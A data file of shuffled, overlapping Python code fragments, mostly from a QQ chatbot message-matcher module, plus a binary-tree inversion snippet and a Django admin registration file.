"FriendMessage(ctx.msg).friend_qq() class SpecificGroupMsg(GroupMsg): group_qq: int def __init__(self, group_qq) -> None:",
"= me_qq def match(self, ctx) -> bool: if not super().match(ctx):",
"-> None: super(SpecificFriendMsg, self).__init__() self.friend_qq = friend_qq def match(self, ctx)",
"self.group_qq = group_qq def match(self, ctx) -> bool: if not",
"FriendMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.FriendMessage",
"= self.msg_chain_from_ctx(ctx) return str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list) class SpecificFriendMsg(FriendMsg): friend_qq: int def",
"class AtMeCmdMsg(AtMeMsg): cmd_list: List[str] def __init__(self, me_qq, cmd) -> None:",
"__init__(self, me_qq, cmd) -> None: super(AtMeCmdMsg, self).__init__(me_qq) self.cmd_list = cmd",
"= PlainCell(msg_chain[2]) return is_str_blank(plain.text()) class AtMeCmdMsg(AtMeMsg): cmd_list: List[str] def __init__(self,",
"match(self, ctx) -> bool: if not super().match(ctx): return False msg_chain",
"not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) return self.get_cell_type(msg_chain[1]) ==",
"-> bool: if not super().match(ctx): return False msg_chain = GroupMessage(ctx.msg).messageChain()",
"== MessageType.FriendMessage class TempMsg(MsgMatcher): def match(self, ctx) -> bool: return",
"-> None: super(SpecificGroupMsg, self).__init__() self.group_qq = group_qq def match(self, ctx)",
"def msg_chain_from_ctx(self, ctx): return BasicMessage(ctx.msg).messageChain() def get_cell_type(self, msg_cell): return msg_cell.get(\"type\",",
"AtMsg(GroupMsg): def match(self, ctx) -> bool: if not super().match(ctx): return",
"self).__init__() self.group_qq = group_qq def match(self, ctx) -> bool: if",
"if not super().match(ctx): return False return self.friend_qq == FriendMessage(ctx.msg).friend_qq() class",
"me_qq) -> None: super(AtMeMsg, self).__init__() self.me_qq = me_qq def match(self,",
"{\"id\": 123, \"nickname\": \"\", \"remark\": \"\"}, \"messageChain\": [ {\"type\": \"Source\",",
"PlainCell, ) from ..utils import is_str_blank, str_contains class MsgMatcher(ABC): def",
"not super().match(ctx): return False msg_chain = GroupMessage(ctx.msg).messageChain() at = AtCell(msg_chain[1])",
"super(AtMeCmdMsg, self).__init__(me_qq) self.cmd_list = cmd def match(self, ctx) -> bool:",
"\"target\": 1234, \"display\": \"@Mirai\"}, {\"type\": \"Plain\", \"text\": \" \"}, ],",
"self).__init__() self.me_qq = me_qq def match(self, ctx) -> bool: if",
"\"messageChain\": [ {\"type\": \"Source\", \"id\": 123456, \"time\": 123456}, {\"type\": \"At\",",
"self.me_qq == at.target() class JustAtMeMsg(AtMeMsg): def __init__(self, me_qq) -> None:",
"return False msg_chain = GroupMessage(ctx.msg).messageChain() at = AtCell(msg_chain[1]) return self.me_qq",
"123456}, {\"type\": \"At\", \"target\": 1234, \"display\": \"@Mirai\"}, {\"type\": \"Plain\", \"text\":",
"def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.GroupMessage class",
"def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.FriendMessage class",
"MessageType, PlainCell, ) from ..utils import is_str_blank, str_contains class MsgMatcher(ABC):",
"-> None: super(AtMeCmdMsg, self).__init__(me_qq) self.cmd_list = cmd def match(self, ctx)",
"msg_chain = self.msg_chain_from_ctx(ctx) return str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list) class SpecificFriendMsg(FriendMsg): friend_qq: int",
"is_str_blank(plain.text()) class AtMeCmdMsg(AtMeMsg): cmd_list: List[str] def __init__(self, me_qq, cmd) ->",
"= AtCell(msg_chain[1]) return self.me_qq == at.target() class JustAtMeMsg(AtMeMsg): def __init__(self,",
"GroupMessage(ctx.msg).messageChain() at = AtCell(msg_chain[1]) return self.me_qq == at.target() class JustAtMeMsg(AtMeMsg):",
"BasicMessage(ctx.msg).type() == MessageType.GroupMessage class FriendMsg(MsgMatcher): def match(self, ctx) -> bool:",
"None: super(AtMeCmdMsg, self).__init__(me_qq) self.cmd_list = cmd def match(self, ctx) ->",
"ctx) -> bool: if not super().match(ctx): return False return self.group_qq",
"match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.GroupMessage class FriendMsg(MsgMatcher):",
"cmd def match(self, ctx) -> bool: if not super().match(ctx): return",
"-> bool: return BasicMessage(ctx.msg).type() == MessageType.TempMessage class AtMsg(GroupMsg): def match(self,",
"-> bool: return BasicMessage(ctx.msg).type() == MessageType.FriendMessage class TempMsg(MsgMatcher): def match(self,",
"abstractmethod from typing import List from .common import ( AtCell,",
"BasicMessage(ctx.msg).type() == MessageType.FriendMessage class TempMsg(MsgMatcher): def match(self, ctx) -> bool:",
"MessageType.GroupMessage class FriendMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type()",
"= self.msg_chain_from_ctx(ctx) return self.get_cell_type(msg_chain[1]) == MsgCellType.At class AtMeMsg(AtMsg): me_qq: int",
"return self.friend_qq == FriendMessage(ctx.msg).friend_qq() class SpecificGroupMsg(GroupMsg): group_qq: int def __init__(self,",
"None: super(SpecificGroupMsg, self).__init__() self.group_qq = group_qq def match(self, ctx) ->",
"return False return self.group_qq == GroupMessage(ctx.msg).group_qq() if __name__ == \"__main__\":",
"BasicMessage(ctx.msg).messageChain() def get_cell_type(self, msg_cell): return msg_cell.get(\"type\", None) @abstractmethod def match(self,",
"not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) return str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list)",
"msg_cell): return msg_cell.get(\"type\", None) @abstractmethod def match(self, ctx) -> bool:",
"{\"type\": \"Source\", \"id\": 123456, \"time\": 123456}, {\"type\": \"At\", \"target\": 1234,",
"if not super().match(ctx): return False msg_chain = GroupMessage(ctx.msg).messageChain() at =",
"self.group_qq == GroupMessage(ctx.msg).group_qq() if __name__ == \"__main__\": msg_matcher = JustAtMeMsg(123)",
"self).__init__(me_qq) self.cmd_list = cmd def match(self, ctx) -> bool: if",
"return self.me_qq == at.target() class JustAtMeMsg(AtMeMsg): def __init__(self, me_qq) ->",
"bool: if not super().match(ctx): return False return self.group_qq == GroupMessage(ctx.msg).group_qq()",
"Ctx: def __init__(self, msg) -> None: self.msg = msg msg",
"== at.target() class JustAtMeMsg(AtMeMsg): def __init__(self, me_qq) -> None: super(JustAtMeMsg,",
"-> None: super(AtMeMsg, self).__init__() self.me_qq = me_qq def match(self, ctx)",
"None) @abstractmethod def match(self, ctx) -> bool: pass class GroupMsg(MsgMatcher):",
"bool: return BasicMessage(ctx.msg).type() == MessageType.FriendMessage class TempMsg(MsgMatcher): def match(self, ctx)",
"== MessageType.GroupMessage class FriendMsg(MsgMatcher): def match(self, ctx) -> bool: return",
"import List from .common import ( AtCell, BasicMessage, GroupMessage, FriendMessage,",
"None: super(AtMeMsg, self).__init__() self.me_qq = me_qq def match(self, ctx) ->",
"str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list) class SpecificFriendMsg(FriendMsg): friend_qq: int def __init__(self, friend_qq) ->",
"__init__(self, friend_qq) -> None: super(SpecificFriendMsg, self).__init__() self.friend_qq = friend_qq def",
"False msg_chain = self.msg_chain_from_ctx(ctx) return self.get_cell_type(msg_chain[1]) == MsgCellType.At class AtMeMsg(AtMsg):",
"-> bool: if not super().match(ctx): return False return self.group_qq ==",
"bool: pass class GroupMsg(MsgMatcher): def match(self, ctx) -> bool: return",
"int def __init__(self, friend_qq) -> None: super(SpecificFriendMsg, self).__init__() self.friend_qq =",
"class Ctx: def __init__(self, msg) -> None: self.msg = msg",
"\"display\": \"@Mirai\"}, {\"type\": \"Plain\", \"text\": \" \"}, ], } print(msg_matcher.match(Ctx(msg)))",
"JustAtMeMsg(123) class Ctx: def __init__(self, msg) -> None: self.msg =",
"int def __init__(self, me_qq) -> None: super(AtMeMsg, self).__init__() self.me_qq =",
"self.me_qq = me_qq def match(self, ctx) -> bool: if not",
"= friend_qq def match(self, ctx) -> bool: if not super().match(ctx):",
"return False msg_chain = self.msg_chain_from_ctx(ctx) plain = PlainCell(msg_chain[2]) return is_str_blank(plain.text())",
"self.cmd_list) class SpecificFriendMsg(FriendMsg): friend_qq: int def __init__(self, friend_qq) -> None:",
"class TempMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() ==",
"def __init__(self, me_qq, cmd) -> None: super(AtMeCmdMsg, self).__init__(me_qq) self.cmd_list =",
"class AtMeMsg(AtMsg): me_qq: int def __init__(self, me_qq) -> None: super(AtMeMsg,",
"class AtMsg(GroupMsg): def match(self, ctx) -> bool: if not super().match(ctx):",
"me_qq) -> None: super(JustAtMeMsg, self).__init__(me_qq) def match(self, ctx) -> bool:",
"..utils import is_str_blank, str_contains class MsgMatcher(ABC): def msg_chain_from_ctx(self, ctx): return",
"bool: if not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) return",
"msg_chain_from_ctx(self, ctx): return BasicMessage(ctx.msg).messageChain() def get_cell_type(self, msg_cell): return msg_cell.get(\"type\", None)",
"friend_qq) -> None: super(SpecificFriendMsg, self).__init__() self.friend_qq = friend_qq def match(self,",
"if __name__ == \"__main__\": msg_matcher = JustAtMeMsg(123) class Ctx: def",
"def __init__(self, msg) -> None: self.msg = msg msg =",
"1234, \"display\": \"@Mirai\"}, {\"type\": \"Plain\", \"text\": \" \"}, ], }",
"self.msg = msg msg = { \"type\": \"GroupMessage\", \"sender\": {\"id\":",
"return str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list) class SpecificFriendMsg(FriendMsg): friend_qq: int def __init__(self, friend_qq)",
"class MsgMatcher(ABC): def msg_chain_from_ctx(self, ctx): return BasicMessage(ctx.msg).messageChain() def get_cell_type(self, msg_cell):",
"-> None: self.msg = msg msg = { \"type\": \"GroupMessage\",",
"def __init__(self, me_qq) -> None: super(AtMeMsg, self).__init__() self.me_qq = me_qq",
"def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.TempMessage class",
"return BasicMessage(ctx.msg).type() == MessageType.FriendMessage class TempMsg(MsgMatcher): def match(self, ctx) ->",
"return False return self.friend_qq == FriendMessage(ctx.msg).friend_qq() class SpecificGroupMsg(GroupMsg): group_qq: int",
"if not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) return self.get_cell_type(msg_chain[1])",
"{\"type\": \"At\", \"target\": 1234, \"display\": \"@Mirai\"}, {\"type\": \"Plain\", \"text\": \"",
"ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.FriendMessage class TempMsg(MsgMatcher): def",
"super(JustAtMeMsg, self).__init__(me_qq) def match(self, ctx) -> bool: if not super().match(ctx):",
"abc import ABC, abstractmethod from typing import List from .common",
"super().match(ctx): return False msg_chain = GroupMessage(ctx.msg).messageChain() at = AtCell(msg_chain[1]) return",
"= self.msg_chain_from_ctx(ctx) plain = PlainCell(msg_chain[2]) return is_str_blank(plain.text()) class AtMeCmdMsg(AtMeMsg): cmd_list:",
"-> None: super(JustAtMeMsg, self).__init__(me_qq) def match(self, ctx) -> bool: if",
"\"id\": 123456, \"time\": 123456}, {\"type\": \"At\", \"target\": 1234, \"display\": \"@Mirai\"},",
") from ..utils import is_str_blank, str_contains class MsgMatcher(ABC): def msg_chain_from_ctx(self,",
"__init__(self, group_qq) -> None: super(SpecificGroupMsg, self).__init__() self.group_qq = group_qq def",
"ctx) -> bool: pass class GroupMsg(MsgMatcher): def match(self, ctx) ->",
"== GroupMessage(ctx.msg).group_qq() if __name__ == \"__main__\": msg_matcher = JustAtMeMsg(123) class",
"== \"__main__\": msg_matcher = JustAtMeMsg(123) class Ctx: def __init__(self, msg)",
"-> bool: pass class GroupMsg(MsgMatcher): def match(self, ctx) -> bool:",
"FriendMessage, MsgCellType, MessageType, PlainCell, ) from ..utils import is_str_blank, str_contains",
"def __init__(self, me_qq) -> None: super(JustAtMeMsg, self).__init__(me_qq) def match(self, ctx)",
"ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.TempMessage class AtMsg(GroupMsg): def",
"None: super(SpecificFriendMsg, self).__init__() self.friend_qq = friend_qq def match(self, ctx) ->",
"return BasicMessage(ctx.msg).messageChain() def get_cell_type(self, msg_cell): return msg_cell.get(\"type\", None) @abstractmethod def",
".common import ( AtCell, BasicMessage, GroupMessage, FriendMessage, MsgCellType, MessageType, PlainCell,",
"False msg_chain = GroupMessage(ctx.msg).messageChain() at = AtCell(msg_chain[1]) return self.me_qq ==",
"plain = PlainCell(msg_chain[2]) return is_str_blank(plain.text()) class AtMeCmdMsg(AtMeMsg): cmd_list: List[str] def",
"None: super(JustAtMeMsg, self).__init__(me_qq) def match(self, ctx) -> bool: if not",
"class JustAtMeMsg(AtMeMsg): def __init__(self, me_qq) -> None: super(JustAtMeMsg, self).__init__(me_qq) def",
"if not super().match(ctx): return False return self.group_qq == GroupMessage(ctx.msg).group_qq() if",
"GroupMessage(ctx.msg).group_qq() if __name__ == \"__main__\": msg_matcher = JustAtMeMsg(123) class Ctx:",
"msg_matcher = JustAtMeMsg(123) class Ctx: def __init__(self, msg) -> None:",
"False return self.group_qq == GroupMessage(ctx.msg).group_qq() if __name__ == \"__main__\": msg_matcher",
"return BasicMessage(ctx.msg).type() == MessageType.GroupMessage class FriendMsg(MsgMatcher): def match(self, ctx) ->",
"\"type\": \"GroupMessage\", \"sender\": {\"id\": 123, \"nickname\": \"\", \"remark\": \"\"}, \"messageChain\":",
"from abc import ABC, abstractmethod from typing import List from",
"False msg_chain = self.msg_chain_from_ctx(ctx) return str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list) class SpecificFriendMsg(FriendMsg): friend_qq:",
"me_qq: int def __init__(self, me_qq) -> None: super(AtMeMsg, self).__init__() self.me_qq",
"MessageType.TempMessage class AtMsg(GroupMsg): def match(self, ctx) -> bool: if not",
"SpecificGroupMsg(GroupMsg): group_qq: int def __init__(self, group_qq) -> None: super(SpecificGroupMsg, self).__init__()",
"ctx) -> bool: if not super().match(ctx): return False return self.friend_qq",
"super(SpecificGroupMsg, self).__init__() self.group_qq = group_qq def match(self, ctx) -> bool:",
"MsgMatcher(ABC): def msg_chain_from_ctx(self, ctx): return BasicMessage(ctx.msg).messageChain() def get_cell_type(self, msg_cell): return",
"== MessageType.TempMessage class AtMsg(GroupMsg): def match(self, ctx) -> bool: if",
"not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) plain = PlainCell(msg_chain[2])",
"-> bool: if not super().match(ctx): return False return self.friend_qq ==",
"BasicMessage(ctx.msg).type() == MessageType.TempMessage class AtMsg(GroupMsg): def match(self, ctx) -> bool:",
"at.target() class JustAtMeMsg(AtMeMsg): def __init__(self, me_qq) -> None: super(JustAtMeMsg, self).__init__(me_qq)",
"self.friend_qq == FriendMessage(ctx.msg).friend_qq() class SpecificGroupMsg(GroupMsg): group_qq: int def __init__(self, group_qq)",
"<filename>qmotor/message/matcher.py from abc import ABC, abstractmethod from typing import List",
"msg msg = { \"type\": \"GroupMessage\", \"sender\": {\"id\": 123, \"nickname\":",
"group_qq: int def __init__(self, group_qq) -> None: super(SpecificGroupMsg, self).__init__() self.group_qq",
"self).__init__(me_qq) def match(self, ctx) -> bool: if not super().match(ctx): return",
"def __init__(self, group_qq) -> None: super(SpecificGroupMsg, self).__init__() self.group_qq = group_qq",
"class SpecificGroupMsg(GroupMsg): group_qq: int def __init__(self, group_qq) -> None: super(SpecificGroupMsg,",
"return self.group_qq == GroupMessage(ctx.msg).group_qq() if __name__ == \"__main__\": msg_matcher =",
"msg) -> None: self.msg = msg msg = { \"type\":",
"MsgCellType.At class AtMeMsg(AtMsg): me_qq: int def __init__(self, me_qq) -> None:",
"msg = { \"type\": \"GroupMessage\", \"sender\": {\"id\": 123, \"nickname\": \"\",",
"123, \"nickname\": \"\", \"remark\": \"\"}, \"messageChain\": [ {\"type\": \"Source\", \"id\":",
"\"nickname\": \"\", \"remark\": \"\"}, \"messageChain\": [ {\"type\": \"Source\", \"id\": 123456,",
"match(self, ctx) -> bool: if not super().match(ctx): return False return",
"__init__(self, me_qq) -> None: super(AtMeMsg, self).__init__() self.me_qq = me_qq def",
"= { \"type\": \"GroupMessage\", \"sender\": {\"id\": 123, \"nickname\": \"\", \"remark\":",
"bool: if not super().match(ctx): return False msg_chain = GroupMessage(ctx.msg).messageChain() at",
"from typing import List from .common import ( AtCell, BasicMessage,",
"AtMeCmdMsg(AtMeMsg): cmd_list: List[str] def __init__(self, me_qq, cmd) -> None: super(AtMeCmdMsg,",
"class SpecificFriendMsg(FriendMsg): friend_qq: int def __init__(self, friend_qq) -> None: super(SpecificFriendMsg,",
"cmd) -> None: super(AtMeCmdMsg, self).__init__(me_qq) self.cmd_list = cmd def match(self,",
"if not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) return str_contains(PlainCell(msg_chain[2]).text(),",
"self.msg_chain_from_ctx(ctx) plain = PlainCell(msg_chain[2]) return is_str_blank(plain.text()) class AtMeCmdMsg(AtMeMsg): cmd_list: List[str]",
"return False msg_chain = self.msg_chain_from_ctx(ctx) return self.get_cell_type(msg_chain[1]) == MsgCellType.At class",
"MessageType.FriendMessage class TempMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type()",
"at = AtCell(msg_chain[1]) return self.me_qq == at.target() class JustAtMeMsg(AtMeMsg): def",
"self).__init__() self.friend_qq = friend_qq def match(self, ctx) -> bool: if",
"= cmd def match(self, ctx) -> bool: if not super().match(ctx):",
"self.get_cell_type(msg_chain[1]) == MsgCellType.At class AtMeMsg(AtMsg): me_qq: int def __init__(self, me_qq)",
"List from .common import ( AtCell, BasicMessage, GroupMessage, FriendMessage, MsgCellType,",
"match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.TempMessage class AtMsg(GroupMsg):",
"def match(self, ctx) -> bool: pass class GroupMsg(MsgMatcher): def match(self,",
"self.msg_chain_from_ctx(ctx) return self.get_cell_type(msg_chain[1]) == MsgCellType.At class AtMeMsg(AtMsg): me_qq: int def",
"MsgCellType, MessageType, PlainCell, ) from ..utils import is_str_blank, str_contains class",
"\"Source\", \"id\": 123456, \"time\": 123456}, {\"type\": \"At\", \"target\": 1234, \"display\":",
"\"remark\": \"\"}, \"messageChain\": [ {\"type\": \"Source\", \"id\": 123456, \"time\": 123456},",
"123456, \"time\": 123456}, {\"type\": \"At\", \"target\": 1234, \"display\": \"@Mirai\"}, {\"type\":",
"msg_chain = self.msg_chain_from_ctx(ctx) plain = PlainCell(msg_chain[2]) return is_str_blank(plain.text()) class AtMeCmdMsg(AtMeMsg):",
"\"At\", \"target\": 1234, \"display\": \"@Mirai\"}, {\"type\": \"Plain\", \"text\": \" \"},",
"pass class GroupMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type()",
"\"GroupMessage\", \"sender\": {\"id\": 123, \"nickname\": \"\", \"remark\": \"\"}, \"messageChain\": [",
"super().match(ctx): return False return self.friend_qq == FriendMessage(ctx.msg).friend_qq() class SpecificGroupMsg(GroupMsg): group_qq:"
] |
[
"invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]: if root: root.left,root.right = self.invertTree(root.right),self.invertTree(root.left)",
"root: Optional[TreeNode]) -> Optional[TreeNode]: if root: root.left,root.right = self.invertTree(root.right),self.invertTree(root.left) return",
"Solution: def invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]: if root: root.left,root.right",
"Optional[TreeNode]: if root: root.left,root.right = self.invertTree(root.right),self.invertTree(root.left) return root return None",
"-> Optional[TreeNode]: if root: root.left,root.right = self.invertTree(root.right),self.invertTree(root.left) return root return",
"def invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]: if root: root.left,root.right =",
"Optional[TreeNode]) -> Optional[TreeNode]: if root: root.left,root.right = self.invertTree(root.right),self.invertTree(root.left) return root",
"class Solution: def invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]: if root:"
] |
[
"as _ from main.models import UserInfo, User, Child, Volunteer, Donor,",
"search_fields = ('email', 'userinfo__first_name', 'userinfo__last_name') ordering = ('email',) inlines =",
"UserAdmin(DjangoUserAdmin): class UserInfoInline(admin.TabularInline): model = UserInfo extra = 1 max_num",
"'date_joined')}), ) add_fieldsets = ( (None, { 'classes': ('wide',), 'fields':",
"admin.site.unregister(Group) admin.site.register(Child) admin.site.register(Volunteer) admin.site.register(Donor) admin.site.register(Letter) admin.site.register(Need) admin.site.register(PurchaseForInstitute) admin.site.register(PurchaseForNeed) admin.site.register(Activity) admin.site.register(OngoingUserInfo)",
"Volunteer, Donor, Letter, Need, PurchaseForInstitute, PurchaseForNeed, \\ Activity, OngoingUserInfo @admin.register(User)",
"_ from main.models import UserInfo, User, Child, Volunteer, Donor, Letter,",
"= ('email', 'userinfo', 'is_staff') search_fields = ('email', 'userinfo__first_name', 'userinfo__last_name') ordering",
"User, Child, Volunteer, Donor, Letter, Need, PurchaseForInstitute, PurchaseForNeed, \\ Activity,",
"ugettext_lazy as _ from main.models import UserInfo, User, Child, Volunteer,",
"(_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}), (_('Important dates'), {'fields': ('last_login', 'date_joined')}),",
"inlines = [UserInfoInline] admin.site.unregister(Group) admin.site.register(Child) admin.site.register(Volunteer) admin.site.register(Donor) admin.site.register(Letter) admin.site.register(Need) admin.site.register(PurchaseForInstitute)",
"'fields': ('email', '<PASSWORD>', '<PASSWORD>'), }), ) list_display = ('email', 'userinfo',",
"Need, PurchaseForInstitute, PurchaseForNeed, \\ Activity, OngoingUserInfo @admin.register(User) class UserAdmin(DjangoUserAdmin): class",
"'userinfo__first_name', 'userinfo__last_name') ordering = ('email',) inlines = [UserInfoInline] admin.site.unregister(Group) admin.site.register(Child)",
"max_num = 1 fieldsets = ( (None, {'fields': ('email', 'password')}),",
"[UserInfoInline] admin.site.unregister(Group) admin.site.register(Child) admin.site.register(Volunteer) admin.site.register(Donor) admin.site.register(Letter) admin.site.register(Need) admin.site.register(PurchaseForInstitute) admin.site.register(PurchaseForNeed) admin.site.register(Activity)",
"fieldsets = ( (None, {'fields': ('email', 'password')}), (_('Permissions'), {'fields': ('is_active',",
"class UserAdmin(DjangoUserAdmin): class UserInfoInline(admin.TabularInline): model = UserInfo extra = 1",
"UserInfo extra = 1 max_num = 1 fieldsets = (",
"'is_staff', 'is_superuser')}), (_('Important dates'), {'fields': ('last_login', 'date_joined')}), ) add_fieldsets =",
"(None, { 'classes': ('wide',), 'fields': ('email', '<PASSWORD>', '<PASSWORD>'), }), )",
"UserInfo, User, Child, Volunteer, Donor, Letter, Need, PurchaseForInstitute, PurchaseForNeed, \\",
"{ 'classes': ('wide',), 'fields': ('email', '<PASSWORD>', '<PASSWORD>'), }), ) list_display",
"PurchaseForInstitute, PurchaseForNeed, \\ Activity, OngoingUserInfo @admin.register(User) class UserAdmin(DjangoUserAdmin): class UserInfoInline(admin.TabularInline):",
"'userinfo__last_name') ordering = ('email',) inlines = [UserInfoInline] admin.site.unregister(Group) admin.site.register(Child) admin.site.register(Volunteer)",
"1 max_num = 1 fieldsets = ( (None, {'fields': ('email',",
"('wide',), 'fields': ('email', '<PASSWORD>', '<PASSWORD>'), }), ) list_display = ('email',",
"{'fields': ('last_login', 'date_joined')}), ) add_fieldsets = ( (None, { 'classes':",
"add_fieldsets = ( (None, { 'classes': ('wide',), 'fields': ('email', '<PASSWORD>',",
"DjangoUserAdmin from django.contrib.auth.models import Group from django.utils.translation import ugettext_lazy as",
"PurchaseForNeed, \\ Activity, OngoingUserInfo @admin.register(User) class UserAdmin(DjangoUserAdmin): class UserInfoInline(admin.TabularInline): model",
"= [UserInfoInline] admin.site.unregister(Group) admin.site.register(Child) admin.site.register(Volunteer) admin.site.register(Donor) admin.site.register(Letter) admin.site.register(Need) admin.site.register(PurchaseForInstitute) admin.site.register(PurchaseForNeed)",
"Letter, Need, PurchaseForInstitute, PurchaseForNeed, \\ Activity, OngoingUserInfo @admin.register(User) class UserAdmin(DjangoUserAdmin):",
"import UserInfo, User, Child, Volunteer, Donor, Letter, Need, PurchaseForInstitute, PurchaseForNeed,",
"dates'), {'fields': ('last_login', 'date_joined')}), ) add_fieldsets = ( (None, {",
"= ('email', 'userinfo__first_name', 'userinfo__last_name') ordering = ('email',) inlines = [UserInfoInline]",
"list_display = ('email', 'userinfo', 'is_staff') search_fields = ('email', 'userinfo__first_name', 'userinfo__last_name')",
"from django.utils.translation import ugettext_lazy as _ from main.models import UserInfo,",
"OngoingUserInfo @admin.register(User) class UserAdmin(DjangoUserAdmin): class UserInfoInline(admin.TabularInline): model = UserInfo extra",
"main.models import UserInfo, User, Child, Volunteer, Donor, Letter, Need, PurchaseForInstitute,",
"model = UserInfo extra = 1 max_num = 1 fieldsets",
"'classes': ('wide',), 'fields': ('email', '<PASSWORD>', '<PASSWORD>'), }), ) list_display =",
"('email', '<PASSWORD>', '<PASSWORD>'), }), ) list_display = ('email', 'userinfo', 'is_staff')",
"@admin.register(User) class UserAdmin(DjangoUserAdmin): class UserInfoInline(admin.TabularInline): model = UserInfo extra =",
"import ugettext_lazy as _ from main.models import UserInfo, User, Child,",
"'is_superuser')}), (_('Important dates'), {'fields': ('last_login', 'date_joined')}), ) add_fieldsets = (",
"(None, {'fields': ('email', 'password')}), (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}), (_('Important",
"= 1 fieldsets = ( (None, {'fields': ('email', 'password')}), (_('Permissions'),",
"class UserInfoInline(admin.TabularInline): model = UserInfo extra = 1 max_num =",
"= 1 max_num = 1 fieldsets = ( (None, {'fields':",
"= UserInfo extra = 1 max_num = 1 fieldsets =",
"= ('email',) inlines = [UserInfoInline] admin.site.unregister(Group) admin.site.register(Child) admin.site.register(Volunteer) admin.site.register(Donor) admin.site.register(Letter)",
"1 fieldsets = ( (None, {'fields': ('email', 'password')}), (_('Permissions'), {'fields':",
"('last_login', 'date_joined')}), ) add_fieldsets = ( (None, { 'classes': ('wide',),",
"{'fields': ('is_active', 'is_staff', 'is_superuser')}), (_('Important dates'), {'fields': ('last_login', 'date_joined')}), )",
"as DjangoUserAdmin from django.contrib.auth.models import Group from django.utils.translation import ugettext_lazy",
"extra = 1 max_num = 1 fieldsets = ( (None,",
"UserAdmin as DjangoUserAdmin from django.contrib.auth.models import Group from django.utils.translation import",
"django.contrib.auth.admin import UserAdmin as DjangoUserAdmin from django.contrib.auth.models import Group from",
"( (None, { 'classes': ('wide',), 'fields': ('email', '<PASSWORD>', '<PASSWORD>'), }),",
"'<PASSWORD>', '<PASSWORD>'), }), ) list_display = ('email', 'userinfo', 'is_staff') search_fields",
"UserInfoInline(admin.TabularInline): model = UserInfo extra = 1 max_num = 1",
") list_display = ('email', 'userinfo', 'is_staff') search_fields = ('email', 'userinfo__first_name',",
"{'fields': ('email', 'password')}), (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}), (_('Important dates'),",
"('email', 'userinfo', 'is_staff') search_fields = ('email', 'userinfo__first_name', 'userinfo__last_name') ordering =",
"from django.contrib.auth.models import Group from django.utils.translation import ugettext_lazy as _",
"}), ) list_display = ('email', 'userinfo', 'is_staff') search_fields = ('email',",
"Group from django.utils.translation import ugettext_lazy as _ from main.models import",
"= ( (None, { 'classes': ('wide',), 'fields': ('email', '<PASSWORD>', '<PASSWORD>'),",
") add_fieldsets = ( (None, { 'classes': ('wide',), 'fields': ('email',",
"(_('Important dates'), {'fields': ('last_login', 'date_joined')}), ) add_fieldsets = ( (None,",
"django.contrib.auth.models import Group from django.utils.translation import ugettext_lazy as _ from",
"('is_active', 'is_staff', 'is_superuser')}), (_('Important dates'), {'fields': ('last_login', 'date_joined')}), ) add_fieldsets",
"from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin from django.contrib.auth.models import Group",
"ordering = ('email',) inlines = [UserInfoInline] admin.site.unregister(Group) admin.site.register(Child) admin.site.register(Volunteer) admin.site.register(Donor)",
"('email',) inlines = [UserInfoInline] admin.site.unregister(Group) admin.site.register(Child) admin.site.register(Volunteer) admin.site.register(Donor) admin.site.register(Letter) admin.site.register(Need)",
"import Group from django.utils.translation import ugettext_lazy as _ from main.models",
"'userinfo', 'is_staff') search_fields = ('email', 'userinfo__first_name', 'userinfo__last_name') ordering = ('email',)",
"\\ Activity, OngoingUserInfo @admin.register(User) class UserAdmin(DjangoUserAdmin): class UserInfoInline(admin.TabularInline): model =",
"'is_staff') search_fields = ('email', 'userinfo__first_name', 'userinfo__last_name') ordering = ('email',) inlines",
"admin from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin from django.contrib.auth.models import",
"('email', 'password')}), (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}), (_('Important dates'), {'fields':",
"= ( (None, {'fields': ('email', 'password')}), (_('Permissions'), {'fields': ('is_active', 'is_staff',",
"from django.contrib import admin from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin",
"Activity, OngoingUserInfo @admin.register(User) class UserAdmin(DjangoUserAdmin): class UserInfoInline(admin.TabularInline): model = UserInfo",
"django.utils.translation import ugettext_lazy as _ from main.models import UserInfo, User,",
"django.contrib import admin from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin from",
"import admin from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin from django.contrib.auth.models",
"('email', 'userinfo__first_name', 'userinfo__last_name') ordering = ('email',) inlines = [UserInfoInline] admin.site.unregister(Group)",
"'<PASSWORD>'), }), ) list_display = ('email', 'userinfo', 'is_staff') search_fields =",
"from main.models import UserInfo, User, Child, Volunteer, Donor, Letter, Need,",
"import UserAdmin as DjangoUserAdmin from django.contrib.auth.models import Group from django.utils.translation",
